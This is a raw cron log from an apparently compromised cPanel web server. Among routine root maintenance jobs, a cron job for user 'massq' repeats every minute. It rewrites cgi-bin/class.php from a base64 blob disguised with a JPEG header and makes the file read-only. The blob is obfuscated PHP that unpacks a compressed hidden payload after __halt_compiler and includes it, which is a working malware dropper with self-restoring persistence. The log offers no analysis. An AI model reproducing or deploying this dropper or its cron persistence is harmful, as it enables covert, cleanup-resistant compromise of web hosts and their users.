&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:00:01 server CROND[21741]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 14:00:01 server CROND[21747]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 11 14:00:01 server CROND[21746]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:00:01 server CROND[21745]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 14:00:01 server CROND[21744]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 14:01:01 server CROND[22531]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 14:01:01 server CROND[22532]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:01:01 server run-parts(/etc/cron.hourly)[22531]: starting 0anacron
Nov 11 14:01:01 server run-parts(/etc/cron.hourly)[22545]: finished 0anacron
Nov 11 14:02:01 server CROND[23366]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:03:01 server CROND[24176]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:04:01 server CROND[25004]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:05:01 server CROND[25863]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 11 14:05:01 server CROND[25864]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 14:05:01 server CROND[25866]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 14:05:01 server CROND[25865]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 14:05:01 server CROND[25867]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:06:01 server CROND[26512]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:07:01 server CROND[27319]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:08:01 server CROND[28137]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:09:01 server CROND[28466]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:09:01 server CROND[28467]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 14:10:01 server CROND[29282]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 14:10:01 server CROND[29283]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 14:10:01 server CROND[29284]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 14:10:01 server CROND[29285]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:11:01 server CROND[30287]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:12:01 server CROND[31099]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
